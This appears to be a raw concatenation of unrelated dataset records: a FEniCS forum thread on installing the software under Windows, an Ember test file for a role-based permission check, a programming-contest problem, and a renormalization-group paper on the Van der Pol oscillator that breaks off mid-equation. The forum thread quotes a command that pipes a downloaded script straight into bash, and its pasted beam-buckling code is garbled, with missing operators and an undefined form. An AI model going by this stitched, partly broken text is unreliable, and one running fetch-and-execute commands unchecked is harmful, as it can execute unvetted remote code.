\"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783397873.63\/warc\/CC-MAIN-20160624154957-00188-ip-10-164-35-72.ec2.internal.warc.gz\"}"} | null | null |
{"url":"https:\/\/fenicsproject.discourse.group\/t\/installing-fenics-on-windows\/7060","text":"# Installing Fenics on Windows\n\nHello,\n\nFor my internship, I need to do some modelization using finite element. For this I tried to install Fenics but nothing is working for the moment.\n\nI first tried to install Fenics using the recommendation. I download Ubuntu and then use the command to download Fenics and it worked. But I couldn\u2019t use it. I couldn\u2019t import from dolfin or fenics. The only way to use it do \u2018fenicsproject run\u2019 but it creates some kind of session where I couldn\u2019t interact with the rest of my computer.\n\nSince it didn\u2019t work I tried to follow this tutorial: Install FeniCS on Windows - Section 1 - Linux in Windows 10(Linux subsystem)-Part 1 - YouTube.\nSo, I uninstall Anaconda that I had on windows and try to install it on Ubuntu. Then installing Fenics on Jupyter Notebook. Installing Anaconda was ok, but when I tried to install Fenics there is an error.\nMalformed version string \u2018~\u2019.\n\nI saw that the first problem was because I already had Anaconda when I installed it on Ubuntu and that I should uninstall everything and try it again. But now it\u2019s not working anymore. It can\u2019t communicate with the Ubuntu archive anymore.\n\nI tried the second option but I have an error when I try to open Jupyter Notebook. It did open, I did an installation, but it took 4 hours and there was a really long message, like 10 pages, to say that he did something but not what I wanted and it\u2019s still not working.\n\nI also tried to use docker toolbox, but I can\u2019t even open docker toolbox.\n\nIf you can help me i really appreciate it.\nkev\n\nHello @kmj,\n\nCould you post a bit more detail on your first attempt ? I understand you began with trying to use Docker - the fenicsproject run command starts a Docker container.\n\nTo me that seems like your best option still. Install a Ubuntu subsystem (I guess you used the Windows store), install Docker from the Windows Subsystem Linux (WSL) command line, rerun curl -s https:\/\/get.fenicsproject.org | bash then fenicsproject run in your project folder.\n\nThat should leave you inside a Docker container, with your project folder mounted and shared. It\u2019s normal for you to have trouble interacting with the rest of your computer while inside a container, but running project python sciprts with python script.py should work fine inside the container.\n\nFor further information on fenics installation, I recommend this tutorial.\n\nIf you are not familiar with bash (Ubuntu default command line) or Docker (allows you to get fenics running in an efficient manner on your computer without worrying too much about dependencies) may I further recommend this tutorial and that one, respectively. In my experience, taking the time now for a little bit of reading on the tools you want to use will save you much effort down the road.\n\nBest of luck.\n\nThe error message you reported says it was just a temporary problem with internet access.\n\nUbuntu already provides python packages, so best not to install Anaconda inside an Ubuntu installation. Otherwise there can be problems with mismatched library versions.\n\nRunning from jupyter notebook introduces extra complications. Use ipython3 from the command line instead.\n\nHello,\n\nFor my first attempt I been to cmd and just used the command wsl --install. It installed Ubuntu and I could do the 4 commands\nsudo apt-get install software-properties-common\nsudo apt-get update\nsudo apt-get install fenics\n\nOnce it was installed i could only open the docker container and I didn\u2019t understood how to get my files to run them. I will read the tutorials and try again\n\nYeah it look like it\u2019s working rn. So I install it again but it can\u2019t find dolfin.\n\nI uninstall ubuntu and install it again and it\u2019s finally working.\n\nThanks everyone\n\nOk for future reference, I don\u2019t think the commands you provided make use of docker.\n\ndocker is an application to create and use containers, which you can think of as lean virtual machines. apt-get is a package manager. Both have their pros and cons :\n\n\u2022 A package manager might be less adept at handling dependencies\n\u2022 A docker container image is harder to change than your own machine\u2019s package list\n\u2022 A docker container is less efficient in terms of memory space, insofar as it might provide dependencies that your system already\n\u2022 Conversely, a container is safer in terms of stability and reproducibility, since a docker image has its own libraries collaborators will execute your code on the same container\n\nIt\u2019s great if your problem is resolved, but a reader on this thread might get apt-get and docker confused.\n\nBonne chance,\n\nThat\u2019s a strange comment to make, hawkspar. Handling package dependencies is precisely what the package manager is adept at.\n\nI didn\u2019t mean that a package manager would be unable to install dependencies, I meant a package manager\u2019s job is not to keep them clean and to avoid conflicts in the long run. To my understanding, it\u2019s possible to break a conda or fenics installation using apt-get, it will require more effort in docker.\n\nIt seemed a worthy enough difference to point it out. Of course, both of them will install the software and its dependencies in the end.\n\nIt\u2019s true that mixing apt and conda will break things. Mixing apt and pip regularly breaks things.\n\napt on its own is safe though. It\u2019s designed to maintain package dependencies. It\u2019s its job to avoid conflicts between the packages that it manages.\n\nHello,\n\nI have another question. For the moment I have Fenics on Ubuntu and Spider, paraview on windows. So i need to code on spider to execute it on ubuntu for having the results on paraview. Is there a better configuration. Something where i could use everything (coding and viewing the results) on one software ? I would like to have something more simple.\n\nBest regards,\n\nThe better configuration is not to use Windows. Install Ubuntu directly on the metal.\n\nspyder and paraview are available on Ubuntu, so you\u2019ll be certainly able to install them inside your linux subsystem. Within linux they run as X11 applications, so getting X11 to run from your virtual Ubuntu machine inside Windows will be the challenge. Some configuration will be needed to communicate the X11 display between the linux subsystem and the windows host system. I\u2019m not sure what needs to be done exactly to make that work, or whether it\u2019s difficult or easy. There\u2019s likely to be some discussion about it somewhere. It might need installation of an X server on Windows, which would handle the display of the applications.\n\nArguably simpler to just use paraview on Windows as you\u2019re doing now, if you\u2019re not able to avoid Windows altogether.\n\nI use Paraview too, but it\u2019s not strictly speaking necessary to have this visualisation application to use FENICs. Depending on your use case, you may find in the tutorials some python script that does a good enough job for your needs.\n\nBut at a higher level I agree with @dparsons, WSL is good for installing stuff, but it\u2019s going to be harder to get fancy applications running.\n\nFor the record, would probably have the same problems inside a docker container.\n\nThe main goal of my internship is the simulation of a yarn in a knitted fabric to see the residual strength in the yarn and how it can create some defect in the knitted fabric.\n\nFor the moment I am trying to understand Fenics with this 2 tutorials but it\u2019s not that easy\n\nFor the moment i have trouble finding the meaning of the functions and I am not always sure what I can \/ should extract to see on paraview.\n\nAnyway thanks for the information\n\nMight I repeat my pointer to this book ? It\u2019s long but it covers a lot of things, such as the difference between trial and test functions. You don\u2019t need to read everything, but it could save you time down the road to pick up the basics.\n\nIn FENICs, any Function can be exported to Paraview pretty simply with dolfin.File(\"savefile.pvd\") << functiontosave\n\nI\u2019m afraid I can\u2019t help you more without a more specific question.\n\nI am reading the book you recommended and it helped a lot to understand.\nI am supposed to do this 2 tutorials and play with the values to understand how to use Fenics. For the moment I only tried on BeamBuckling.\nSince I don\u2019t fully understand the functions I wanted to see them. Like the finite element U and T. From what I understood it take the dimension of cell from the mesh with mesh.ufl_cell() so it should be 1D Lagrangian finite element. And the number should give the degree of the element. But I couldn\u2019t check, since I didn\u2019t found how to print this element.\nI am also not sure how many dimension have V and how spliting the testfunction worked.\nLastly I couldn\u2019t extract the graph we have in the presentation. I got the values but not the graph. Maybe it is because I put run_line_magic in comment but if I leave it I got some errors\n\nI do not know which two tutorials you are referring to. Are these in the book ? Online ? Some other place ?\n\nMy understanding of dolfin.VectorElement is that it takes as argument the base function type, the mesh cell type, degree, and dimension. If left unspecified, the dimension of the VectorElement is inferred from the mesh dimension.\n\nSplitting a MixedElement V=T\\times U simply yields back finite elements T and U.\n\nAgain, I can\u2019t help you without a more specific question or code, and I fear we\u2019ve spun a tad off topic\u2026\n\nI\u2019m talking about this code : Eulerian buckling of a beam \u2014 Numerical tours of continuum mechanics using FEniCS master documentation\nI know it\u2019s not really a tutorial but i teacher told me to do it to learn about Fenics but there is no explanation what\u2019s so ever.\nHere is the code:\nfrom dolfin import *\nfrom fenics import *\nimport numpy as np\nimport matplotlib.pyplot as plt\nget_ipython().run_line_magic(\u2018matplotlib\u2019, \u2018notebook\u2019)\n\n# dimension de la poutre\n\nL = 10.\nthick = Constant(0.03)\nwidth = Constant(0.01)\nE = Constant(70e3)\nnu = Constant(0.) #coefficient de poisson\n\n#Grandeur physique\nEI = Ewidththick**3\/12 # ** = exposant\nGS = E\/2\/(1+nu)thickwidth # G module de cisaillement\nkappa = Constant(5.\/6.)\n\n# maillage\n\nN = 100\nmesh = IntervalMesh(N, 0, L)\n\nU = FiniteElement(\u201cCG\u201d, mesh.ufl_cell(), 2)\nT = FiniteElement(\u201cCG\u201d, mesh.ufl_cell(), 1)\nV = FunctionSpace(mesh, U*T)\n\nu_ = TestFunction(V)\ndu = TrialFunction(V)\n(w_, theta_) = split(u_)\n(dw, dtheta) = split(du)\n\nl_form = Constant(1.)*u_[0]*dx\n\ndef both_ends(x, on_boundary):\nreturn on_boundary\ndef left_end(x, on_boundary):\nreturn near(x[0], 0) and on_boundary\n\nbc = [DirichletBC(V.sub(0), Constant(0.), both_ends),\nDirichletBC(V.sub(1), Constant(0.), left_end)]\n\nK = PETScMatrix()\nassemble_system(k_form, l_form, bc, A_tensor=K)\n\nN0 = Constant(1e-3)\nKG = PETScMatrix()\nassemble(kg_form, tensor=KG)\nfor bci in bc:\nbci.zero(KG)\n\neigensolver = SLEPcEigenSolver(K, KG)\neigensolver.parameters[\u2018problem_type\u2019] = \u2018gen_hermitian\u2019\neigensolver.parameters[\u2018spectral_transform\u2019] = \u2018shift-and-invert\u2019\neigensolver.parameters[\u2018spectral_shift\u2019] = 1e-3\neigensolver.parameters[\u2018tolerance\u2019] = 1e-12\n\nN_eig = 3 # number of eigenvalues\nprint(\u201cComputing {} first eigenvalues\u2026\u201d.format(N_eig))\neigensolver.solve(N_eig)\n\n# Exact solution computation\n\nfrom scipy.optimize import root\nfrom math import tan\nfalpha = lambda x: tan(x)-x\nalpha = lambda n: root(falpha, 0.99*(2*n+1)*pi\/2.)[\u2018x\u2019][0]\n\nplt.figure()\n\n# Extraction\n\nfor i in range(N_eig):\n# Extract eigenpair\nr, c, rx, cx = eigensolver.get_eigenpair(i)\n\ncritical_load_an = alpha(i+1)**2*float(EI\/N0)\/L**2\nprint(\"Exact: {0:>10.5f} FE: {1:>10.5f} Rel. gap {2:1.2f}%%\".format(","date":"2021-11-29 15:01:12","metadata":"{\"extraction_info\": {\"found_math\": true, \"script_math_tex\": 0, \"script_math_asciimath\": 0, \"math_annotations\": 0, \"math_alttext\": 0, \"mathml\": 0, \"mathjax_tag\": 0, \"mathjax_inline_tex\": 0, \"mathjax_display_tex\": 0, \"mathjax_asciimath\": 1, \"img_math\": 0, \"codecogs_latex\": 0, \"wp_latex\": 0, \"mimetex.cgi\": 0, \"\/images\/math\/codecogs\": 0, \"mathtex.cgi\": 0, \"katex\": 0, \"math-container\": 0, \"wp-katex-eq\": 0, \"align\": 0, \"equation\": 0, \"x-ck12\": 0, \"texerror\": 0, \"math_score\": 0.19340088963508606, \"perplexity\": 2239.3790913256908}, \"config\": {\"markdown_headings\": true, \"markdown_code\": true, \"boilerplate_config\": {\"ratio_threshold\": 0.18, \"absolute_threshold\": 10, \"end_threshold\": 15, \"enable\": true}, \"remove_buttons\": true, \"remove_image_figures\": true, \"remove_link_clusters\": true, \"table_config\": {\"min_rows\": 2, \"min_cols\": 3, \"format\": \"plain\"}, \"remove_chinese\": true, \"remove_edit_buttons\": true, \"extract_latex\": true}, \"warc_path\": \"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964358774.44\/warc\/CC-MAIN-20211129134323-20211129164323-00017.warc.gz\"}"} | null | null |
import {
moduleForModel,
test
} from 'ember-qunit';
import { stubRequest } from 'ember-cli-fake-server';
import modelDeps from '../../support/common-model-dependencies';
import Ember from "ember";
import can from "diesel/utils/can";
let store;
moduleForModel('user', 'Utils - #can', {
needs: modelDeps,
setup: function(){
store = this.store();
},
teardown: function(){
Ember.run(store, 'destroy');
}
});
test('user and stack have same role, stack\'s permission has "manage" scope', function(assert) {
var user, userRole, stack, stackPermission;
Ember.run(function(){
user = store.push('user', {id:'u1', roles:['r1'], verified: true});
userRole = store.push('role', {id:'r1'});
stack = store.push('stack', {id:'s1', permissions:['p1']});
stackPermission = store.push('permission', {
id:'p1',
scope:'manage',
links: {
role: '/roles/r1'
}
});
});
return Ember.run(function(){
return can(user, 'manage', stack).then(function(res){
assert.ok(res, 'user can manage stack');
return can(user, 'read', stack);
}).then(function(res){
assert.ok(res, 'user can read stack');
});
});
});
test('user and stack have same role, stack\'s permission has "read" scope', function(assert) {
var user, userRole, stack, stackPermission;
Ember.run(function(){
user = store.push('user', {id:'u1', roles:['r1'], verified: true});
userRole = store.push('role', {id:'r1'});
stack = store.push('stack', {id:'s1', permissions:['p1']});
stackPermission = store.push('permission', {
id:'p1',
scope:'read',
links: {
role: '/roles/r1'
}
});
});
return Ember.run(function(){
return can(user, 'manage', stack).then(function(res){
assert.ok(!res, 'user can not manage stack');
return can(user, 'read', stack);
}).then(function(res){
assert.ok(res, 'user can read stack');
});
});
});
test('user and stack do not have same role', function(assert) {
var user, userRole, stack, stackPermission, stackRole;
Ember.run(function(){
user = store.push('user', {id:'u1', roles:['r1'], verified: true});
userRole = store.push('role', {id:'r1'});
stack = store.push('stack', {id:'s1', permissions:['p1']});
stackPermission = store.push('permission', {
id:'p1',
scope:'read',
links: {
role: '/roles/r2'
}
});
stackRole = store.push('role', {id:'r2'});
});
return Ember.run(function(){
return can(user, 'manage', stack).then(function(res){
assert.ok(!res, 'user can not manage stack');
return can(user, 'read', stack);
}).then(function(res){
assert.ok(!res, 'user can not read stack');
});
});
});
test('user has owner role in stack organization can manage stack', function(assert) {
let user, userRole, stack, otherRole, stackPermission;
let links = { organization: '123' };
Ember.run(function(){
user = store.push('user', {id: 'u1', roles: ['r1'], verified: true});
userRole = store.push('role', {id:'r1', type: 'owner', links: links});
otherRole = store.push('role', {id: 'r2', links: links});
// stack permission has otherRole, not owner userRole
stackPermission = store.push('permission', {
id:'p1',
links: {
roles: '/role/r2'
}
});
stack = store.push('stack', {id:'s1', permissions:['p1'], links: links});
});
return Ember.run(function(){
return can(user, 'manage', stack).then(function(res){
assert.ok(res, 'privileged user with matching role can manage stack');
return can(user, 'read', stack);
}).then(function(res){
assert.ok(res, 'privileged user with owner role in organization can read stack');
});
});
});
test('user has owner role in outside organization cannot manage stack', function(assert) {
let user, userRole, stack, outsideRole, stackPermission;
let organization = { organization: '123' };
let outsideOrganizationUrl = '/organziation/321';
Ember.run(function(){
user = store.push('user', {id: 'u1', roles: ['r1'], verified: true});
userRole = store.push('role', {id:'r1', type: 'owner', links: organization });
outsideRole = store.push('role', {id: 'r2', links: {organization: outsideOrganizationUrl }});
stackPermission = store.push('permission', {
id:'p1', role: 'r2',
links: {
organization: outsideOrganizationUrl,
role: '/roles/r2'
}
});
stack = store.push('stack', {id:'s1', permissions:['p1']});
});
return Ember.run(function(){
return can(user, 'manage', stack).then(function(res){
assert.ok(!res, 'privileged user from outside organization can not manage stack');
return can(user, 'read', stack);
});
});
});
test('user has multiple roles, some match stack\'s role', function(assert) {
var user,
userRole1, userRole2,
stack,
stackPermission;
Ember.run(function(){
user = store.push('user', {id:'u1', roles:['r1','r2'], verified: true});
userRole1 = store.push('role', {id:'r1'});
userRole2 = store.push('role', {id:'r2'});
stack = store.push('stack', {id:'s1', permissions:['p1']});
stackPermission = store.push('permission', {
id:'p1',
scope:'read',
links: {
role: '/roles/r2'
}
});
});
return Ember.run(function(){
return can(user, 'manage', stack).then(function(res){
assert.ok(!res, 'user can not manage stack');
return can(user, 'read', stack);
}).then(function(res){
assert.ok(res, 'user can read stack');
});
});
});
test('stack has multiple permissions, some match user\'s role', function(assert) {
var user,
userRole,
stack,
stackPermission1,
stackPermission2;
Ember.run(function(){
user = store.push('user', {id:'u1', roles:['r1'], verified: true});
userRole = store.push('role', {id:'r1'});
stack = store.push('stack', {id:'s1', permissions:['p1','p2']});
stackPermission1 = store.push('permission', {
id:'p1',
scope:'read',
links: {
role: '/roles/r1'
}
});
stackPermission2 = store.push('permission', {
id:'p2',
scope:'read',
links: {
role: '/roles/r2'
}
});
store.push('role', {id:'r2'});
});
return Ember.run(function(){
return can(user, 'manage', stack).then(function(res){
assert.ok(!res, 'user can not manage stack');
return can(user, 'read', stack);
}).then(function(res){
assert.ok(res, 'user can read stack');
});
});
});
test('with manage permission scope, user can do anything', function(assert) {
var user,
userRole,
stack,
stackPermission;
Ember.run(function(){
user = store.push('user', {id:'u1', roles:['r1'], verified: true});
userRole = store.push('role', {id:'r1'});
stack = store.push('stack', {id:'s1', permissions:['p1']});
stackPermission = store.push('permission', {
id:'p1',
scope:'manage',
links: {
role: '/roles/r1'
}
});
});
return Ember.run(function(){
return can(user, 'manage', stack).then(function(res){
assert.ok(res, 'user can manage stack');
return can(user, 'read', stack);
}).then(function(res){
assert.ok(res, 'user can read stack');
return can(user, 'glorp', stack);
}).then(function(res){
assert.ok(res, 'user can glorp stack');
});
});
});
test('when permission data includes role links, do not fetch roles, just use derived ids', function(assert) {
var user,
userRole,
stack,
stackPermission;
Ember.run(function(){
user = store.push('user', {id:'u1', roles:['abc-DEF-123'], verified: true});
userRole = store.push('role', {id:'abc-DEF-123'});
stack = store.push('stack', {id:'s1', permissions:['p1']});
stackPermission = store.push('permission', {
id:'p1',
scope:'manage',
links: {role: '/roles/abc-DEF-123'}
});
});
stubRequest('get', '/roles/abc-DEF-123', function(){
assert.ok(false, 'should not fetch role by url');
});
return Ember.run(function(){
return can(user, 'manage', stack).then(function(){
assert.ok(true, 'did not fetch role by url');
});
});
});
// test('#can fetches data when it is not in the store', function(){
// expect(5);
// var user,
// userRole,
// stack,
// stackPermission;
// stubRequest('get', '/users/u1', function(){
// ok(true, 'requests user by id');
// return this.success({
// id: 'u1',
// verified: true,
// _links: {
// self: { href: '/users/u1' },
// roles: { href: '/users/u1/roles'}
// }
// });
// });
// stubRequest('get', '/users/u1/roles', function(){
// ok(true, 'requests user roles');
// return this.success({
// _embedded: {
// roles: [{
// id: 'abc-DEF-123',
// }]
// }
// });
// });
// stubRequest('get', '/accounts/s1', function(){
// ok(true, 'requests stacks by id');
// return this.success({
// id: 's1',
// _embedded: {
// permissions: [{
// id: 'p1',
// scope: 'read',
// _links: {
// role: { href: '/roles/abc-DEF-123' }
// }
// }]
// }
// });
// });
// stubRequest('get', '/roles/abc-DEF-123', function(){
// ok(false, 'should not request role by url');
// });
// return Ember.run(function(){
// return Ember.RSVP.hash({
// user: store.find('user', 'u1'),
// stack: store.find('stack', 's1')
// }).then(function(results){
// user = results.user;
// stack = results.stack;
// return can(user, 'manage', stack);
// }).then(function(bool){
// ok(!bool, 'user cannot manage stack');
// return can(user, 'read', stack);
// }).then(function(bool){
// ok(bool, 'user can read stack');
// });
// });
// });
test('when user has an owner organization role, user can manage organization', function(assert){
assert.expect(1);
let done = assert.async();
let user, roles = [], organization;
Ember.run( () => {
user = store.push('user', {id: 'u1', roles: ['r1', 'r2'], verified: true});
roles.push( store.push('role', {id:'r1', organization: 'o1', links: {organization:'/organizations/o1'}}) );
roles.push( store.push('role',
{
id:'r2',
type: 'owner',
organization: 'o1',
links: {organization: '/organizations/o1'}
}
));
organization = store.push('organization', {id: 'o1'});
});
return Ember.run( () => {
can(user, 'manage', organization).then( (result) => {
assert.ok(result, 'user can manage organization');
}).finally(done);
});
});
test('when user is not verified, can read', (assert) => {
var user, userRole, stack, stackPermission;
Ember.run(function(){
user = store.push('user', {id:'u1', roles:['r1'], verified: false});
userRole = store.push('role', {id:'r1'});
stack = store.push('stack', {id:'s1', permissions:['p1']});
stackPermission = store.push('permission', {
id:'p1',
scope:'manage',
links: {
role: '/roles/r1'
}
});
});
return Ember.run(function(){
return can(user, 'read', stack).then(function(res){
assert.ok(res, 'user can read stack');
});
});
});
test('when user is not verified, cannot manage', (assert) => {
var user, userRole, stack, stackPermission;
Ember.run(function(){
user = store.push('user', {id:'u1', roles:['r1'], verified: false});
userRole = store.push('role', {id:'r1'});
stack = store.push('stack', {id:'s1', permissions:['p1']});
stackPermission = store.push('permission', {
id:'p1',
scope:'manage',
links: {
role: '/roles/r1'
}
});
});
return Ember.run(function(){
return can(user, 'manage', stack).then((res) => {
assert.ok(!res, 'user cannot manage stack');
});
});
});
| {
"redpajama_set_name": "RedPajamaGithub"
} | 8,003 |
{"url":"https:\/\/train.nzoi.org.nz\/problems\/1269","text":"Training Site\n\n# Skill Issue\n\nInput: Standard Input (stdin)\nOutput: Standard Output (stdout)\nMemory limit: 128 megabytes\nTime limit: 1.0 seconds\n\nYou have $N$ skill points. The $i$-th skill point has a value of $v_i$, and can be used to either increase your attack by $v_i$ points, or increase your accuracy by $v_i$ percentage points.\n\nYour average attack damage can be calculated by multiplying your attack by your accuracy \u2013 for example, with 40 attack and 50% accuracy, you would deal an average of $40 \\times 0.5 = 20$ damage per attack.\n\nInitially, you have 0 attack and 0% accuracy. Note that your accuracy is capped at 100%, but you are allowed to assign a skill point that would otherwise take you above 100% accuracy.\n\nPlease find the maximum average attack damage possible by assigning the skill points optimally.\n\n## Input\n\nThe first line contains a single integer, $N$, the number of skill points.\n\nThe second line contains $N$ space-separated integers, $v_1, v_2, \\dots, v_N$, the values of each skill point.\n\n## Output\n\nYou should output a single integer \u2013 the maximum average attack damage multiplied by 100.\n\n## Constraints\n\n\u2022 $1 \\le N \\le 1000$\n\u2022 $1 \\le v_i \\le 100$\n\n\u2022 Subtask 1 (20%): All skill points have the same value.\n\u2022 Subtask 2 (30%): $v_i = i$ for all $i$ ($1 \\le i \\le N$)\n\u2022 Subtask 3 (20%): $N \\le 16$\n\u2022 Subtask 4 (30%): No further constraints apply.\n\n## Sample Explanation\n\nIn the first sample case, you should assign two skill points to attack, and two skill points to accuracy. This results in 120 attack and 120% accuracy (which gets capped to 100%), so the average attack damage multiplied by 100 is $120 \\times 100 = 12000$.\n\nIn the second sample case, one optimal solution is to assign skill points 1, 2, and 5 to attack, and skill points 3 and 4 to accuracy. This results in 8 attack and 7% accuracy, which gives $8 \\times 7 = 56$.\n\n\u2022 ### Sample Input 1\n\n4\n60 60 60 60\n\n\n### Sample Output 1\n\n12000\n\n\u2022 ### Sample Input 2\n\n5\n1 2 3 4 5\n\n\n### Sample Output 2\n\n56\n\n\u2022 ### Sample Input 3\n\n3\n20 30 40\n\n\n### Sample Output 3\n\n2000","date":"2022-08-18 11:23:11","metadata":"{\"extraction_info\": {\"found_math\": true, \"script_math_tex\": 17, \"script_math_asciimath\": 0, \"math_annotations\": 0, \"math_alttext\": 0, \"mathml\": 0, \"mathjax_tag\": 0, \"mathjax_inline_tex\": 0, \"mathjax_display_tex\": 0, \"mathjax_asciimath\": 1, \"img_math\": 0, \"codecogs_latex\": 0, \"wp_latex\": 0, \"mimetex.cgi\": 0, \"\/images\/math\/codecogs\": 0, \"mathtex.cgi\": 0, \"katex\": 0, \"math-container\": 0, \"wp-katex-eq\": 0, \"align\": 0, \"equation\": 0, \"x-ck12\": 0, \"texerror\": 0, \"math_score\": 0.6923469305038452, \"perplexity\": 3150.414192206677}, \"config\": {\"markdown_headings\": true, \"markdown_code\": true, \"boilerplate_config\": {\"ratio_threshold\": 0.18, \"absolute_threshold\": 10, \"end_threshold\": 15, \"enable\": true}, \"remove_buttons\": true, \"remove_image_figures\": true, \"remove_link_clusters\": true, \"table_config\": {\"min_rows\": 2, \"min_cols\": 3, \"format\": \"plain\"}, \"remove_chinese\": true, \"remove_edit_buttons\": true, \"extract_latex\": true}, \"warc_path\": \"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882573193.35\/warc\/CC-MAIN-20220818094131-20220818124131-00024.warc.gz\"}"} | null | null |
Q: Problem in set up environment in VScode for React Native using Expo Cli I am a newbie in React Native and I am trying to set up the environment for it in VScode using Expo Cli. Even though I follow all the steps in Youtube, I still can't make it. I have installed Node.js and extension of React Native. I have opened the port for the Metro Bundler and Web but I don't know why I can't open them.
Here are pictures of my screen. This is my first post, so I'm not allowed to post pictures but links. Sorry for the inconvenience.
1st
2nd
I have no clue how to fix it so I try to search for the problem, but nothing has improved.
| {
"redpajama_set_name": "RedPajamaStackExchange"
} | 4,698 |
\section{Introduction}
The analysis of the asymptotic behavior has played an important role in applied mathematics
and theoretical physics. In many cases, the regular perturbation methods
become inapplicable than the singular perturbation methods see (Bender and Orszag, $1978$ ;
Chen, Goldenfeld, and Oono, $1996$; Chiba, $2008b$; Hinch, $1991$) \cite{1} - \cite{4}.
We can cite as singular perturbation methods for solving ordinary
differential equations $(ODE)$, methods multiple scales, $WKB$ (Bender and Orszag, $1978$)
\cite{1}, the method recovery (Roberts, $1985$) \cite{3},
etc. The renormalization group method which is the subject of this study was compiled
by Chen, Goldenfeld, Oono ($1994,1996$)
\cite{4} for differential equations form
\begin{eqnarray}
\dot{x} &=&F x+ \varepsilon g(t,x,\varepsilon) ;\quad x\in \mathbb{R}^n \label{eq1}
\end{eqnarray}
where $\varepsilon \geq 0$ is a small parameter.
They showed that the Renormalization group method unifies the singular perturbation methods
listed above \cite{4}.
With this method, the renormalization constants of integration can raise divergence.
This technique of renormalization does appear the renormalization group equation $(RGE)$ of
involving the amplitude which stabilizes the limit cycle; it is simple for dynamical system
analysis. Chiba ($2008b$) used the renormalization group method to analyze the model of Kuramoto
coupled oscillators.
The Van der Pol equation is a basic model for oscillatory processes in physics,
electronics, biology, neurology, sociology and economic (Marios, $2006$).
In this work we decided to investigate the forced Van der Pol oscillator in its
generalized form governed by the dimensionless equation below. We have done
the similar work where the unforced Van der Pol generalized oscillator is studied.
We will forced the system with a periodic extern force of pulsation $\Omega$. In this case
$g(t,x,\varepsilon)$ is an explicit function of time. This oscillator has been applied for modeling
a Bipedal Robot by Pina Filho and Dutra ($2009$) and known as Hybrid
Van der Pol-Rayleigh oscillators. Sarkar and Bhattacharjee ($2010$) recently studied the unforced
Van der Pol oscillator with another technique of the renormalization group theory to find
its limit cycle. The paper is organized as follows.
In the second section a brief recall of the renormalization group technique will be done.
In the third section, the method will be applied to the equation of forced Van der Pol
generalized oscillator. In the fourth section our results will be analyzed through the graphs.
The conclusions will be presented in the
final section.
\section{Renormalization group method}
In this section we recall the outline of the technical group renormalization for $(ODE)$.
For more details we refer to (chiba, $2008b$)\cite{1}. We consider an ODE of the form :
\begin{eqnarray}
\dot{x} &=&Fx+\varepsilon g(t,x,\varepsilon)\nonumber\\
&=& F x+\varepsilon g_{1}(t,x)+\varepsilon^2 g_{2}(t,x)+\dots;
x\in \mathbb{R}^n, \label{eq2}
\end{eqnarray}
where $0\leq \varepsilon \leq1 $. For this system, we assume that:
\begin{enumerate}
\item The matrix $F$ is a diagonalizable $n\times n$ constant matrix all
of whose eigenvalues lie on the imaginary axis.
\item The function $g(t, x, \varepsilon)$ is of $C^{\infty}$ class with
respect to $t$, $x$ and $\varepsilon$.
The formal power series expansion of $g(t, x, \varepsilon)$ in $\varepsilon$
is given as above.
\item each $g_{i} (t, x)$ is periodic in $t\in \mathbb{R}$ and polynomial in $x$.
\end{enumerate}
Firstly we apply the simple development method and secondly the
renormalization group method will be applied to break down the divergence.
We replace $x$ in Equation (\ref{eq2}) by
\begin{equation}
x(t)=x_0(t)+\varepsilon x_1(t)+\varepsilon^2 x_{2}(t)+\dots \label{eq3}
\end{equation}
After development and identification of the coefficients of $\varepsilon$
we find:
\begin{equation}
\dot{x}_{0}= Fx_0 , \label{eq4}
\end{equation}
\begin{equation}
\dot{x}_{i} = Fx_{i}+G_{i}(t,x_{0},x_{1},x_{i-1}); \label{eq6}
\end{equation}
where the homogeneous term $G_{i}$ is a regular function of
$t$, $x_{0}$, $x_{i-1}$ with:
\begin{eqnarray}
G_{1}(t,x_{0} ) &=& g_{1}(t,x_{0}),\\ \label{eq7}
G_{2}(t,x_{0},x_{1}) &=& \frac{{\partial}{g_{1}}}{{\partial}{x}}(t,x_{0}) x_{1} +g_{2}(t,x_{0}) , \label{eq8}
\end{eqnarray}
We can verify the Equality (see Chiba, $2008a$,{\bf{lemma A.2 for the proof}} \cite{7} ) :
\begin{equation}
\frac{{\partial}{G_{i}}}{{\partial}{x_{j}}}=\frac{{\partial}{g_{i-1}}}{{\partial}{x_{j-1}}}=
\frac{{\partial}{g_{i-j}}}{{\partial}{x_{0}}} ,i> j\geq0 .
\label{eq11}
\end{equation}
In what follows, we denote the fundamental matrix $e^{Ft}$ as $X(t)$. Define the functions
$R_{j}$, $h_{t}^{(i)}$, $i=1,2,$ $\cdots$
on $\mathbb {R}^n$ by
\begin{eqnarray}
R_{1}(y)&=& \displaystyle \lim_{t \rightarrow +\infty} {\frac{1}{t}
\int_{t_{0}}^{t}[ X(s)^{-1}G_{1}(s,X(s)y)] ds} \label{eq12}\\
{h}^{1}_{t}(y)& = & X(t)\int_{t_{0}}^{t}[ X(s)^{-1}G_{1}(s,X(s)y)- R_{1}(y)] ds \label{eq13}
\end{eqnarray}
\begin{eqnarray}
R_{i}(y) &=& \displaystyle \lim_{t \rightarrow +\infty} \frac{1}{t} \int_{t_{0}}^{t}
[ X(s)^{-1}G_{i}(s,X(s)y,h^{1}_{s}(y),\dots,h^{i-1}_{s}(y)) \cr
&&- X(s)^{-1}\sum_{k=1}^{i-1} (D{h^{k}_{s})_{y} R_{i-k}(y)] ds} \label{eq14}
,i=2,3\cdots \\
{h}^{i}_{t}(y) & =& X(t)\int_{t_{0}}^{t}[ X(s)^{-1}G_{i}(s,X(s)y,h^{1}_{s}(y),\dots,h^{i-1}_{s}(y)) \cr
&&- X(s)^{-1}\sum_{k=1}^{i-1}(D{h^{k}_{s})_{y} R_{i-k}(y)-R_{i}(y] ds} .\label{eq15}
\end{eqnarray}
{\bf{ Proposal}} Let $x_{0}(t)=X(t)y$ be the solution to (\ref{eq4})
whose initial value is
$y\in \mathbb{R}^{n}$. Then for an arbitrary time $\tau \in \mathbb{R}$
and $i=1,2,3 \dots$, the curve defined $x_{i}$
by:
\begin{eqnarray}
x_{i}& :=&x_{i}(t,\tau,y)\nonumber\\
&=&{h}^{i}_{t}(y) + p_{1}^{i}(t,y)\left(t-\tau\right) + p_{2}^{i}(t,y)
\left(t-\tau\right)^{2} +\dots+ p_{i}^{i}(t,y)\left(t-\tau\right)^{i} ;
\label{eq16}
\end{eqnarray}
gives a solution to Equation (\ref{eq6}), where the functions $p_{1}^{i},\dots, p_{i}^{j}$ are given by :
\begin{eqnarray}
